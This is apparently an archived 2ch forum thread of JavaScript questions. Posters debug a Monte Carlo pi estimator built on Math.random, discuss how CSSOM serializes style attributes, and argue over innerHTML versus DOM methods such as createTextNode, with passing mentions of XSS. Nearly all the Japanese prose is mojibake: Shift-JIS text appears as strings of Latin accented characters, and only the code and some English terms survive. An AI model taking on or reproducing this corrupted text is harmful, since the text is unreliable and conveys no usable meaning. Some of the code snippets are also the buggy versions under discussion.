+ JavaScript ‚ÌŽ¿–â— ..
[2ch|¥Menu]
77:Name_Not_Found
14/11/08 19:48:02.89 .net
‚±‚Á‚¿‚à‚®‚¾‚®‚¾Š´‚ ‚Ó‚ê‚Ä‚é‚í
‚³‚Á‚«‚Í‚ ‚Á‚¿‚̃XƒŒ‚É‚½‚Ü‚½‚Ül‚ª‘½‚©‚Á‚½‚¾‚¯‚ʼn½‚à•Ï‚í‚ç‚ñ

78:Name_Not_Found
14/11/08 19:48:20.50 .net
>>76
>—Ⴆ‚΂³A—”‚ª0.0‚©‚ç0.9‚Ü‚Åo‚é‚Æ‚·‚邶‚á‚ñ

‚»‚ê‚͸“x‚ª’á‚¢i¬”“_‘æˆêˆÊ‚ÅI‚í‚Á‚Ä‚éj‚©‚çB

random()‚ª•‚“®¬”“_”‚ð•Ô‚·‚Ì‚Í
¸“x‚ª‚‚­–³‚¢‚ÆA”’l‚ð‚©‚¯‚½Žž‚É‹¶‚¤‚©‚çB

—Ⴆ‚Î0`5‚Å‚Í‚È‚­A0`99‚ÌŽž‚Í
Math.random()*100‚ɂȂ邪
0.4 ‚¾‚Æ 40A0.5 ‚¾‚Æ 50B41`49‚ªo‚éŠm—¦‚Í0‚É‚È‚Á‚Ä‚µ‚Ü‚¤B

‚±‚ꂪ0.4`0.5‚ÌŠÔ‚à‚¿‚á‚ñ‚Æ‚Å‚é‚Ì‚Å‚ ‚ê‚ÎA
0.41*100 = 41A0.42*100 = 42 ‚̂悤‚É‚¿‚á‚ñ‚Æ‚Å‚Ä‚­‚ê‚éB

random()‚ª0`1–¢–ž‚Ì•‚“®¬”“_”i‚È‚é‚ׂ­¬”“_ˆÈ‰º‚ª‘½‚¢”j‚ð
•Ô‚·‚Ì‚ÍA‚ ‚é”͈̮͂”‚ð•Ô‚·‚Æ‚«‚É•K—v‚Èu”CˆÓ‚Ì”‚ð‚©‚¯‚évŽž‚É
–â‘è‚È‚¢‚悤‚É‚·‚邽‚ß‚È‚ñ‚¾‚æB

ŒN‚ªŒ¾‚Á‚Ä‚éŠu‚½‚è‚ÌŒ´ˆö‚͸“x‚


79:ª’á‚¢‚©‚çB



80:Name_Not_Found
14/11/08 19:50:04.53 .net
>>77
‚È‚ñ‚ÅŽn‚Ü‚Á‚Ä‚©‚ç‚·‚®ƒOƒ_ƒOƒ_‚É‚È‚é‚ñ‚¾‚æ‚—

81:Name_Not_Found
14/11/08 19:50:31.28 /Hj0O7lg.net
>>78
‚¤‚ñA‚ ‚肪‚Æ‚¤

82:Name_Not_Found
14/11/08 19:53:36.68 /Hj0O7lg.net
‚È‚ñ‚Å‚±‚ñ‚È‚±‚Æ•·‚¢‚Ä‚½‚©‚Á‚Ä‚¢‚¤‚Æ
ˆÈ‰º‚̃R[ƒh‚ʼn~Žü—¦‚ðŒvŽZ‚µ‚悤‚ÆŽv‚Á‚½‚ñ‚¾‚¯‚Ç
‚¿‚á‚ñ‚Æ‚µ‚½”’l‚ªo‚È‚­‚Ä
‚Ç‚±‚ª‚¨‚©‚µ‚¢‚Ì‚©“Y킵‚Ä‚­‚ê

¦‚¢‰“‰ñ‚肵‚Ä‚é‚Ì‚ÍAŽ©Šo‚µ‚Ä‚é‚Ì‚Å
o—ˆ‚ê‚Α啂ȉü•Ï‚Í–³‚µ‚Å‚¨Šè‚¢‚µ‚Ü‚·



var arr = new Array();
for (m = -50; m < 51; m++) {
for (n = -50; n < 50; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 10201)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 2500) {
j++;
}
@@@@@@}
@@@@@@document.write("ƒÎà" + j * 4 / 100000);

83:Name_Not_Found
14/11/08 19:55:02.99 .net
>>79
‚±‚Á‚¿‚Í>>39‚â>>42‚ɑ΂·‚é‰ñ“š‚ª‚®‚¾‚®‚¾‚¾‚Á‚½‚µA‰½‚à•Ï‚í‚ç‚ñ

84:Name_Not_Found
14/11/08 19:57:36.27 .net
> 0.2*6=1.2
> 0.3*6=1.8
> 0.4*6=2.4
> 0.5*6=3.0

‚±‚±‚¾‚¯‚ðŒ©‚é‚Æ2‚ªo‚éŠm—¦‚ª’á‚¢‚悤‚¾‚¯‚ÇAŽÀÛ‚Í


0.00000 <= x < 0.16666c = 0
0.16666 <= x < 0.33333c = 1
0.33333 <= x < 0.5@@@@@= 2
0.5@@@ <= x < 0.66666c = 3

‚É‚È‚é‚©‚çA‚Ç‚ê‚à0.166666c‚¸‚‚ÅA
‚¿‚傤‚Ç“¯‚¶”‚È‚ñ‚¾‚æ‚È‚ËB

85:Name_Not_Found
14/11/08 20:07:18.90 .net
>>42>>46>>52>>67>>70>>71
elm.style.xxx ‚É’l‚ðƒZƒbƒg‚µ‚½Žž‚É‚Í setPropertyValue() ‚ªŒÄ‚Ño‚³‚ê‚é
URLØݸ(www.w3.org)
uSetting the camel-cased attribute attribute must invoke setProperty() ...v

‚»‚ÌÛ‚É’l‚ªŽ©“®•ÏŠ·‚³‚ê‚é
URLØݸ(www.w3.org)
ŽÀÛ‚Ì’è‹`‚Íׂ©‚¢‚¯‚ÇA—á‚Æ‚µ‚Äc
keyword ‚ÍA¬•¶Žš‚É•ÏŠ·‚³‚ê‚éiRED ‚Í red ‚É‚È‚éBŒˆ‚µ‚Ä rgb() ‚â #xxx ‚È‚Ç‚É‚Í•ÏŠ·‚³‚ê‚È‚¢j
<color> ‚ÍArgb(x, x, x) –”‚Í rgba(x, x, x, x) ‚É•ÏŠ·‚³‚ê‚éB’l“¯Žm‚Í ", "iƒJƒ“ƒ}EƒXƒy[ƒXj ‚Å‹æØ‚é
<length> ‚Å’l‚ª 0 ‚ÌꇂÍA0px ‚É•ÏŠ·‚³‚ê‚é

‚³‚ç‚ÉAstyle‘®«‚Ì•¶Žš—ñ‚ªXV‚³‚ê‚é
URLØݸ(www.w3.org)
uMutating the declarations must set the style content attribute ...v
‚»‚ÌÛ‚Ì•¶Žš—ñ‚̶¬•û–@‚ÍAURLØݸ(www.w3.org) ‚É‹LÚ‚³‚ê‚Ä‚¢‚éB
ŠTà‚·‚é‚ÆA
[1] ‚»‚ꂼ‚ê‚Ì錾‚ðuƒvƒƒpƒeƒB–¼ + ": " + ’l + ";"v‚ÌŒ`Ž®‚É‚·‚éB
.@@‚»‚ÌÛAƒVƒ‡[ƒgƒnƒ“ƒhƒvƒƒpƒeƒB‚Å•\‚¹‚é‚È‚ç‚»‚ê‚ð—p‚¢‚é
[2] ‚»‚ꂼ‚ê‚ð " " ‚ÅŒ‹‡‚·‚é


c‚Æ‚¢‚¤‚킯‚ÅAƒuƒ‰ƒEƒU‚ª CSSOM ‚É‘¥‚Á‚Ä‚¢‚é‚È‚çA
elm.style.color = "red"; ‚Æ‚µ‚½‚ç style="color: red;" ‚ɂȂ邵A>>46 ‚ÌŠeX‚Ì•ÏŠ·‚àŽd—l‚ɉˆ‚Á‚½‚à‚Ì‚Å‚ ‚éB

‚½‚¾‚µACSSOM ‚Í‚Ü‚¾ Working Draft ‚È‚Ì‚ÅAã‹L‚ÌŽd—l‚ɉˆ‚Á‚Ä‚¢‚È‚¢ƒuƒ‰ƒEƒU‚à‘½”‚ ‚é‚Ì‚ªŽ–ŽÀB
‚Æ‚ÍŒ¾‚Á‚Ä‚à >>42 ‚Ìꇂ͎©•ª‚ª“®‚©‚·•ª‚Å“®ì‚·‚ê‚΂¢‚¢‚¾‚¯‚È‚Ì‚ÅAŽ©•ª‚̊‹«‚Å“®‚­‚à‚Ì‚ð‰ñ“šƒŒƒX‚©‚ç“K“–‚ÉE‚¦‚΂¢‚¢B’·•¶‚·‚Ü‚ñ

86:Name_Not_Found
14/11/08 20:25:18.35 .net
>>81
‚»‚̃R[ƒh‚ª‰½‚ð‚â‚Á‚Ä‚é‚Ì‚©‚³‚Á‚Ï‚è‚í‚©‚ç‚ñ‚¯‚Ç
iSQUEAK‚Æ‚©‚¢‚¤‚â‚‚݂½‚¢‚¾‚¯‚Çl‚¦‚é‚Ì–Ê“|‚­‚³‚¢‚—j

ˆÈ‰º‚̂悤‚É”’l•Ï‚¦‚½‚ç‚»‚ê‚Á‚Û‚­‚È‚Á‚½‚æB
‰½‚©ŒvŽZŠÔˆá‚Á‚Ä‚é‚ñ‚¶‚á‚ËH “_‚ÌŽæ‚è•û‚Æ‚©ŒÂ”‚Æ‚©Ž}Ø‚Ì’l‚Æ‚©

var arr = new Array();
for (m = 0; m < 1000; m++) {
for (n = 0; n < 1000; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 1000000)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 1000000) {
j++;
}
@@@@@@}
@@@@@@console.log("ƒÎà" + j * 4 / 100000);

87:Name_Not_Found
14/11/08 20:30:25.30 .net
>>81
‰‚ß‚©‚ç10201ŒÂ‚Ì“_‚̈ʒu‚ðŒˆ‚ß‚Ä‚¢‚éA‚Æ‚¢‚¤‚Ì‚ªƒiƒ“ƒZƒ“ƒX
‚±‚ÌŽž“_‚Å ƒÎ ‚̳Šm‚È’l‚Ío‚¹‚È‚¢
‹É’[‚È—á‚ÅŒ¾‚¤‚ÆA3x3‚Ì9ŒÂ‚Ì“_‚¾‚ÆA’†‰›‚Ì1“_‚µ‚©‰~‚Ì“à‘¤‚É‚È‚¢‚Å‚µ‚åH

‰ü‘P‚·‚é•û–@‚ÍA“_‚̈ʒu‚𖈉ñƒ‰ƒ“ƒ_ƒ€‚ÉŒˆ‚߂邱‚Æ
Šæ’£‚ê‚Î100•¶Žš‚®‚ç‚¢‚ŃR[ƒh‘‚¯‚é‚æ

88:70
14/11/08 20:31:19.43 knhGBN36.net
>>84
‚‚܂èACSSOM Žd—l€‹’‚ÌŽÀ‘•‚È‚ç
document.querySelector('span[style^="color: red;"], span[style*="; color: red;"]');
‚Å>>42‚Ì–Ú“I‚ð’B¬‚Å‚«‚é‚킯‚©
•×‹­‚É‚È‚Á‚½A‚ ‚肪‚Æ‚¤

89:Name_Not_Found
14/11/08 20:35:53.57 /Hj0O7lg.net
>>85
‚¤[‚ñA“_‚̌”‚ª­‚È‚¢‚Ì‚©‚ÈH

90:Name_Not_Found
14/11/08 20:37:13.71 /Hj0O7lg.net
>>86
10201ŒÂ‚¶‚á­‚È‚¢‚Á‚Ä‚±‚ÆH

‚±‚ꂾ‚ÆãŽè‚­‚¢‚­

var arr = new Array();
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("ƒÎà"+j*4/10000000);

91:85
14/11/08 20:44:34.93 .net
> var arr = new Array();
> for (m = -50; m < 51; m++) {
> for (n = -50; n < 50; n++) {
> arr.push([m, n]);
> }
> arr.push([m, n]);
> }

50‚Æ51‚̈Ⴂ‚à‹CŽ‚¿ˆ«‚¢‚ªA‚±‚±‚ð•Ï‚¦‚Ä‚à•Ï‰»‚Í‚È‚©‚Á‚½B
2”Ô–Ú‚Ìarr.push‚à‹CŽ‚¿ˆ«‚¢‚ªAarr.length = 10201‚Å
ƒ‰ƒ“ƒ_ƒ€‚ÌÅ‘å‚Æ‚àˆê’v‚·‚é‚©‚çŠÔˆá‚Á‚Ä‚È‚¢‚¾‚낤B

> for (i = 0; i < 100000; i++) {
‚±‚Ì100000‚̓Tƒ“ƒvƒ‹”‚¾‚낤B’Pƒ‚É10”{‚µ‚½‚猋‰Ê‚à10”{‚É‚È‚Á‚½B
j * 4 / 100000 ‚Ì 100000‚Æ“¯‚¶‚Å‚ ‚ê‚Δ‚ª‘½‚¯‚ê‚΂Ȃñ‚Å‚à—Ç‚³‚»‚¤‚¾B

‚ÅÅŠú‚ɉö‚µ‚©‚Á‚½‚Ì‚ªA
> if (crd() < 2500) {
2500‚Æ‚¢‚¤”Žš‚Å2500‚Æ‚¢‚¤‚Ì‚Í50 * 50 ‚¾‚ª
‚±‚ê‚Í51 * 50 = 2550‚Å‚Í‚È‚¢‚Ì‚©‚ËH

‚ÆŽv‚Á‚Ä•Ï‚¦‚Ä‚Ý‚½‚çA‚»‚ê‚炵‚­‚È‚Á‚½‚¼‚—

‘Š•Ï‚í‚炸”Šw“I‚ȈӖ¡‚Í‚³‚Á‚Ï‚è‚í‚©‚ç‚ñ‚ªiÎj
ƒR[ƒh‚̈êŠÑ«‚É‚¨‚¯‚éˆá˜aŠ´‚Ì‚Ý‚©‚çƒoƒOŽæ‚肵‚Ä‚Ý‚½B

92:86
14/11/08 20:46:12.07 .net
>>89
‚»‚¤A‚Ü‚³‚É‚»‚ê

93:Name_Not_Found
14/11/08 21:44:59.37 /Hj0O7lg.net
>>90
Šm‚©‚É‚»‚̈á˜aŠ´‚ÍŽ©•ª‚Å‚àŠ´‚¶‚½
‚Å‚à—˜_“I‚É‚ÍŠÔˆá‚Á‚Ä‚¢‚È‚¢EEE‚Í‚¸

‰~Žü—¦‚ð‹‚ß‚é‚ÆŒ¾‚¤‰Û‘è‚Í89‚̃R[ƒh‚ŃNƒŠƒA‚µ‚½‚©‚ç
‚ ‚Ƃ͉½ŒÌ‚±‚̃R[ƒh‚ªãŽè‚­“®‚©‚È‚¢‚©‚¾‚¯
‚·‚Á‚«‚肵‚½‚¢

”¼Œa50‚̉~‚ð•`‚¢‚Ä‚¢‚邱‚Æ‚É‚È‚é‚©‚ç2500‚Å
ŠÔˆá‚¢‚È‚¢‚Í‚¸‚È‚ñ‚¾‚¯‚Ç‚È
­‚µ‚»‚±‚ñ‚Æ‚±“Ë‚«‹l‚ß‚Äl‚¦‚Ä‚Ý‚é‚©

94:Name_Not_Found
14/11/09 00:14:46.45 .net
3.1454‚Á‚ĂȂ邶‚á‚ñB‚½‚¾‚̌뷂¾‚æ

95:Name_Not_Found
14/11/09 00:41:50.23 BwBDaWrA.net
<<93
‚»‚¤‚¾‚È

‚±‚¤‚µ‚½‚瑽


96:­—Ç‚­‚È‚Á‚½‚©‚ç ‘½•ª‰Šú’l‚ª­‚È‚·‚¬‚½‚ñ‚¾‚ÆŽv‚¤ ƒŒƒX‰º‚³‚Á‚½ŠF‚³‚ñ—L“ŒäÀ‚¢‚Ü‚µ‚½ var arr = new Array(); for (m = -500; m < 501; m++) { for (n = -500; n < 500; n++) { arr.push([m, n]); } arr.push([m, n]); } function crd() { var rdm = arr[Math.floor(Math.random() * 1002001)]; return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2); } var j = 0; for (i = 0; i < 100000; i++) { if (crd() < 250000) { j++; } } document.write("ƒÎà" + j * 4 / 100000);



97:Name_Not_Found
14/11/09 07:15:53.95 .net
>>94
‚±‚êAƒ‹[ƒv‚щƒ“ƒ_ƒ€‚É—v‘f‚ð‚Æ‚éˆÓ–¡‚ª‘S‚­‚È‚¢‚¼
‚Ü‚¸‚̓vƒƒOƒ‰ƒ~ƒ“ƒO‚¶‚á‚È‚­‚Ä”Šw‚̕׋­‚µ‚ë

98:Name_Not_Found
14/11/09 08:55:16.54 BwBDaWrA.net
>>95
‚±‚¤‚¢‚¤‚±‚ÆH


var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("ƒÎà"+j*4/10000000);

99:Name_Not_Found
14/11/09 09:10:59.68 BwBDaWrA.net
‘“–‚è–@‚Á‚Ä‚±‚Æ‚©‚È

100:Name_Not_Found
14/11/09 11:32:27.96 .net
‚¢‚Ü‚¾‚ÉinnerHTMLŽg‚Á‚Ä‚é“zŒ©‚é‚Æ“f‚«‹C‚ª‚·‚é

101:Name_Not_Found
14/11/09 11:46:31.07 .net
ꇂɂæ‚é‚ÆŽv‚¤‚¯‚Ç‚Ë
jQuery‚É‚àŽg‚í‚ê‚Ă邵AŽd—l‚É‘‚©‚ê‚Ä‚¢‚é‚­‚ç‚¢‚¾‚µ

102:Name_Not_Found
14/11/09 11:54:41.53 .net
ˆÓ–¡•s–¾
innerHTML‚Í•’Ê‚ÉŽg‚Á‚Ä‚¢‚¢‚Á‚Ä‚¢‚¤Œ‹˜_‚ªo‚½‚Í‚¸‚¾‚ªH

103:Name_Not_Found
14/11/09 12:00:19.93 .net
‚Ü‚ ‚±‚Ì•Ó‚è‚Å‚³‚ñ‚´‚ñŒê‚ç‚ꂽ‚±‚Ƃ̃Rƒsƒy‚©‚È

+ JavaScript ‚ÌŽ¿–â—pƒXƒŒƒbƒh vol.117 +
½ÚØݸ(hp”Â:531-”Ô)

104:Name_Not_Found
14/11/09 12:19:35.74 .net
>>100
‚È‚É‚¢‚Á‚Ä‚ñ‚ÌjQuery‚àƒƒCƒ“‚ÍremoveChild‚ÅÁ‚µ‚Ä‚é‚ñ‚¾‚¯‚Ç

105:Name_Not_Found
14/11/09 12:20:03.17 .net
‚¾‚¢‚½‚¢ƒxƒ“ƒ`Žæ‚ê‚ÎinnerHTML‚ª–Ò—ó‚É’x‚¢‚Ì‚Í•ª‚©‚邱‚Æ‚¾‚ë

106:Name_Not_Found
14/11/09 12:21:07.15 .net
“KÞ“KŠ
Œ´—Žå‹`‚̓Aƒz
‚Á‚Ä‚¢‚¤Œ‹˜_‚É‚È‚Á‚½‚Í‚¸‚¾‚ªH

107:Name_Not_Found
14/11/09 12:22:53.36 .net
“KÞ“KŠ‚Á‚Ä‚È‚ñ‚¾‚æ’x‚­‚Ä”ñŒø—¦‚È‚à‚Ì‚ðŽg‚¤•K—v‚Í‚Ë‚¦‚ñ‚¾‚æ

108:Name_Not_Found
14/11/09 12:36:22.89 1ma5/uRs.net
>>103
> ‚¾‚¢‚½‚¢ƒxƒ“ƒ`Žæ‚ê‚ÎinnerHTML‚ª–Ò—ó‚É’x‚¢‚Ì‚Í•ª‚©‚邱‚Æ‚¾‚ë

‘¬‚©‚Á‚½‚æB

ˆêŒ©•¶Žš—ñ‚ð‰ðŽß‚·‚é•K—v‚ª‚ ‚镪ŽžŠÔ‚ª‚©‚©‚é‚©‚ç
•sŽv‹c‚ÉŽv‚¦‚邪AJavaScript‚ªƒlƒCƒeƒBƒu‚Å‚È‚¢‚Ì‚ªŒ´ˆöB

innerHTML‚¾‚ÆA‘ã“ü‚µ‚½Œã‚Í
‚·‚ׂălƒCƒeƒBƒu‚ň—‚³‚ê‚é‚©‚ç‘‚¢‚ªA

‚»‚ê‚Æ“¯“™‚È‚±‚Æ‚ðƒlƒCƒeƒBƒu‚Å‚È‚¢JavaScript‚Å‚â‚é‚Æ
1‚‚¸‚ƒI[ƒo[ƒwƒbƒh‚ª‰Á‚í‚éB

‚ ‚Æ‚³‚·‚ª‚Ƀuƒ‰ƒEƒUAHTMLƒeƒLƒXƒg‚ð‰ðŽß‚·‚é‚Ì‚ªŽdŽ–‚¾‚¯‚ ‚Á‚Ä
‘Š“–ƒ`ƒ…[ƒjƒ“ƒO‚³‚ê‚Ä‚éB

109:Name_Not_Found
14/11/09 12:50:16.73 .net
ˆê“x‚É‘ã“ü‚Å‚«‚é‚Ì‚É’x‚¢‚킯‚È‚¢‚¾‚ëw

110:Name_Not_Found
14/11/09 13:01:20.25 .net
>>103
’x‚­‚È‚é‚Ì‚Í
innerHTML += string
‚ðŒJ‚è•Ô‚·ê‡‚¾‚¯‚¾‚ÆŽv‚¤‚ª

‚±‚ê‚Í‘O‚É‘}“ü‚³‚ꂽHTML‚Ì\•¶‰ðÍ‚ðd•¡‚µ‚ÄŒJ‚è•Ô‚·
‚±‚Æ‚É‘¼‚È‚ç‚È‚¢B’x‚­‚È‚é‚Ì‚Í“–‘R‚Ńxƒ“ƒ`ƒ}[ƒN‚Æ‚µ‚Ä•sŒö•½

ƒˆ‚ȈӖ¡‚Å innerHTML ‚ªŒ€“I‚É’x‚¢‚Æ‚³‚ê‚éƒxƒ“ƒ`ƒ}[ƒNŒ‹‰Ê‚Í‚ ‚é‚ÌH

111:Name_Not_Found
14/11/09 13:12:23.25 .net
URLØݸ(jsperf.com)

112:Name_Not_Found
14/11/09 13:13:33.42 .net
’x‚­‚È‚¢‚Á‚ÄÀ‚Á‚Ä‚½“zo‚Ä‚±‚¢‚æ

113:Name_Not_Found
14/11/09 13:16:18.20 .net
innerHTML‚ªŒh‰“‚³‚ê‚é‚Ì‚Í‘¬‚³‚¶‚á‚È‚­‚ÄXSS–â‘è‚Ì•û‚ª‘å‚«‚¢‚ÆŽv‚¤
>>96‚ªinnerHTML‚ðŽg‚Á‚½ƒR[ƒh‚¾‚Á‚½‚çA>>07‚Í“f‚«‹C‚ðŠo‚¦‚é‚Ì‚¾‚낤

114:Name_Not_Found
14/11/09 13:24:21.07 .net
‰SŽÒ‚ªinnerHTML‚ª1”Ô‚Á‚ÄŒ‹˜_‚ðo‚µ‚½‚ç‚»‚ꂪ‚±‚̃XƒŒ‚Ì‘ˆÓ‚̂悤‚Ɉµ‚¤‚È

115:Name_Not_Found
14/11/09 13:25:08.17 .net
innerHTML„‚µ”h‚ÍDOM XSS‚Æ‚©’m‚ç‚È‚¢

116:Name_Not_Found
14/11/09 13:27:46.52 .net
—¼ŽÒ‚Ì’·Š’ZŠ‚ð’m‚Á‚Ä‚¢‚él‚È‚ç‚ÎA‚Ç‚Á‚¿‚©•Ð•û‚¾‚¯‚ª‚¢‚¢‚¾‚È‚ñ‚ÄŒ¾‚í‚È‚¢

117:Name_Not_Found
14/11/09 13:30:44.00 .net
‚¢‚¢‚¦AinnerHTML‚̓fƒƒŠƒbƒg‚µ‚©‚È‚¢

118:Name_Not_Found
14/11/09 13:40:40.82 .net
URLØݸ(jsperf.com)
innerHTML‚Ì•û‚ª‘¬‚¢

119:Name_Not_Found
14/11/09 13:47:36.74 .net
XSS–â‘è‚ÍinnerHTML‚ª•ø‚¦‚骊²‚Ì–â‘è
XSS‚Ì”­¶‚µ‚È‚¢•û–@‚ª‚ ‚é‚È‚çAƒZƒLƒ…ƒŠƒeƒBˆÓŽ¯‚Ì‚‚¢l‚ÍinnerHTMLˆÈŠO‚ð‘I‘ð‚·‚é
XSS‚É–Ú‚ð‚‚Ԃé‚Æ‚µ‚Ä‚àAtextContent, TextNode#data, insertAdjacentHTML ‚ÉŒ¾‹y‚³‚ê‚é‚ׂ«‚È‚Ì‚¾‚ªAŠù‚É>101‚ÅŒê‚ès‚­‚³‚ê‚Ä‚é

120:Name_Not_Found
14/11/09 13:55:02.75 .net
>>116
DOM’ljÁ‚ÅinnerHTMLŽg‚Á‚½‚çXSS‚ª”­¶‚·‚é‚æH

121:Name_Not_Found
14/11/09 13:59:37.37 .net
< ‚Æ > ‚ðƒGƒXƒP[ƒv‚·‚ê‚΂¢‚¢‚¾‚¯‚¶‚á‚ñ

122:Name_Not_Found
14/11/09 14:09:39.57 .net
appendChild‚ª‚í‚´‚í‚´ƒGƒXƒP[ƒv‚µ‚Ä‚­‚ê‚é‚Ì‚ÉŽè“®‚Å‚â‚é‚Ì‚©H

123:Name_Not_Found
14/11/09 14:24:33.49 .net
‚¨‚Á‚ÆAappendChild‚ªƒGƒXƒP[ƒv‚Á‚Čꕾ‚ª‚ ‚é‚È

124:Name_Not_Found
14/11/09 14:44:10.78 .net
Žè“®‚Å‚·‚ê‚΂¢‚¢‚¶‚á‚ñ
innerHTML‚Ì‘å‚«‚È–â‘è“_‚ÍXSS‚¶‚á‚È‚¢

125:Name_Not_Found
14/11/09 15:14:45.06 .net
‚Í‚ H

126:Name_Not_Found
14/11/09 18:31:54.69 .net
innerHTML‚Ì–â‘è‚ÍXSSˆÈŠO‚É‚à‚ ‚邪AŠù‚É>>101‚Å‹c˜_‚³‚ꂽ‚̂ʼnü‚ß‚Ä‹c˜_‚·‚鎖‚à‚È‚¢

127:Name_Not_Found
14/11/09 18:33:06.53 DNSyM79S.net
>>118
> DOM’ljÁ‚ÅinnerHTMLŽg‚Á‚½‚çXSS‚ª”­¶‚·‚é‚æH

‚È‚çAXSS‚ª”­¶‚µ‚È‚¢‚悤‚É
ƒ`ƒFƒbƒN‚·‚ê‚΂¢‚¢‚¾‚¯‚¶‚á‚È‚¢‚ÌH

128:Name_Not_Found
14/11/09 18:39:55.90 .net
>>125
ƒeƒLƒXƒgƒm[ƒh‘€ì‚·‚ê‚΃`ƒFƒbƒN‚·‚é•K—v‚ª‚È‚¢
ŒÌ‚Ƀ`ƒFƒbƒNƒ~ƒX‚à”­¶‚µ‚È‚¢

129:Name_Not_Found
14/11/09 18:42:15.67 .net
>>125
ƒeƒLƒXƒgƒm[ƒh‘€ì‚·‚ê‚΃`ƒFƒbƒN‚·‚é•K—v‚à‚È‚¢

130:Name_Not_Found
14/11/09 18:57:48.22 .net
innerHTML‚ÍXSS‚ª–â‘肾‚ÆŒ¾‚Á‚Ä‚¢‚él‚ÍAinnerHTML‚ðŽg‚Á‚Ä‚Í‚¢‚¯‚È‚¢‚Á‚Ä‚¢‚¤Žå’£‚È‚ÌH

131:Name_Not_Found
14/11/09 19:00:47.42 .net
’x‚­‚ÄDOM‚ð‰ó‚·‹°‚ꂪ‚ ‚é‚à‚Ì‚ðŽg‚¤•K—v‚Í‚È‚¢

132:Name_Not_Found
14/11/09 19:02:03.30 .net
‚Ó[‚ñ‚¶‚á‚ jQuery‚àŽg‚í‚È‚¢‚ñ‚¾‚Ë

133:Name_Not_Found
14/11/09 19:06:20.18 .net
jQuery‚𗧂Ăɂµ‚Ä“¦‚°‚ñ‚È‚æ
‚¨‘O‚ÌŒ¾—t‚Å”½˜_‚Ç‚¤‚¼ƒ`ƒLƒ“

134:Name_Not_Found
14/11/09 19:09:48.39 .net
jQuery‚ÍŽg‚í‚È‚¢‚Á‚ÄŒ¾‚¦‚΂¢‚¢‚¾‚¯‚È‚Ì‚ÉA‚È‚ñ‚Åø‚é‚ñ‚¾‚낤‚Ë

135:Name_Not_Found
14/11/09 19:17:04.33 .net
Ž©•ª‚ÌŒ¾—t‚Ål‚¦‚½‚±‚Æ‚ðq‚ׂ܂µ‚傤

136:Name_Not_Found
14/11/09 19:26:48.72 .net
—Ⴆ‚Î elm ‚É <p id="a" class="b" style="color:red;">test<b>test</b>test</p> ‚ð“ü‚ꂽ‚¢‚ÆŽv‚Á‚½‚ç‚Ç‚¤‚µ‚Ü‚·H
innerHTML ‚È‚çˆês‚ÅÏ‚Ý‚Ü‚·B\•ª‘å‚«‚È—˜“_‚Å‚·
‚±‚̃R[ƒh‚à innerHTML ‚ðŽg‚킸‚É‘‚­‚Æ‚¢‚¤‚Ì‚È‚çAŽ„‚Ì•‰‚¯‚Å‚·B–ˆ“ú•§’d‚ÉŒf‚°‚Ä‘¸Œh‚µ‚Ü‚·

137:Name_Not_Found
14/11/09 19:27:46.54 .net
Šî–{“I‚ÉjQuery‚Å‚àinnerHTML‚ð—˜—p‚µ‚Ä‚¢‚éAPI‚ÍŽg‚í‚È‚¢
Žg‚í‚È‚­‚Ä¢‚Á‚½‚±‚Æ‚ª‚È‚¢

138:Name_Not_Found
14/11/09 19:37:06.20 .net
>>134
> —Ⴆ‚Î elm ‚É <p id="a" class="b" style="color:red;">test<b>test</b>test</p> ‚ð“ü‚ꂽ‚¢‚ÆŽv‚Á‚½‚ç‚Ç‚¤‚µ‚Ü‚·H
‚Ü‚¸AJavaScriptƒR[ƒh“à‚ɃRƒ“ƒeƒ“ƒc‚ð–„‚ßž‚Þ‚Æ‚¢‚¤ÝŒv‚ª‚ ‚蓾‚È‚¢‚©‚çA‚»‚¤‚¢‚¤ƒR[ƒh‚ª‚ ‚é‚È‚çÝŒv‚©‚猩’¼‚·
HTMLã‚É—pˆÓ‚³‚ê‚Ä‚¢‚éƒRƒ“ƒeƒ“ƒc‚ðJavaScript‚ʼnü•Ï‚·‚é‚Ì‚ªŠî–{
ŠO•”ƒRƒ“ƒeƒ“ƒc‚ð—˜—p‚·‚éê‡‚Í XML, CSV, JSON “™‚Ì®Œ`ƒtƒH[ƒ}ƒbƒg‰»‚³‚ꂽƒf[ƒ^‚ðJavaScript‚Ŏ擾‚µ‚Ĉê’è‹K‘¥‚É‘¥‚Á‚½•û–@‚ÅHTMLo—Í‚·‚é

139:136
14/11/09 19:42:37.16 EDVOS3A9.net
‚±‚ê‚ç‚ðŽÀ‘•‚·‚鎞‚É‚Í innerHTML ‚ÍŽg‚í‚È‚¢
createTextNode, createElement, appendChild “™‚ÌDOM‘€ì‚ðŽg‚¤

140:134
14/11/09 20:07:11.50 .net
Šm‚©‚ÉBŒ¾‚í‚ê‚Ä‚Ý‚ê‚΂»‚¤‚Å‚·‚Ë
innerHTML‚ðŽg‚¤‚±‚ÆŽ©‘Ì‚Í–â‘è‚È‚¢‚¯‚ÇA‚»‚à‚»‚àŽg‚¤‹@‰ï‚ª‚È‚¢‚Å‚·‚µAŽg‚¤‚悤‚ÈÝŒv‚ÍŒ©’¼‚·‚ׂ«‚Å‚·‚Ë
‘å•ÏŽ¸—炵‚Ü‚µ‚½B¡‚©‚畧’d‚ÉŒf‚°‚Ä‚«‚Ü‚·

141:Name_Not_Found
14/11/09 20:31:50.02 .net
>>136
>XML, CSV, JSON “™‚Ì®Œ`ƒtƒH[ƒ}ƒbƒg‰»‚³‚ꂽƒf[ƒ^‚ð

ƒR[ƒh“à‚É–„‚ßž‚Þ‚©‚Ç‚¤‚©‚Í•Ê‚Æ‚µ‚Ä
HTML Ž©‘̂஌`ƒtƒH[ƒ}ƒbƒg‰»‚³‚ꂽƒf[ƒ^‚È‚Ì‚Å
ŠO•”‚©‚çŽæ“¾‚µ‚½HTMLƒf[ƒ^‚ðinnerHTML‚Å’¼Ú“I‚É•ú‚èž‚Þ‚±‚Æ‚Í
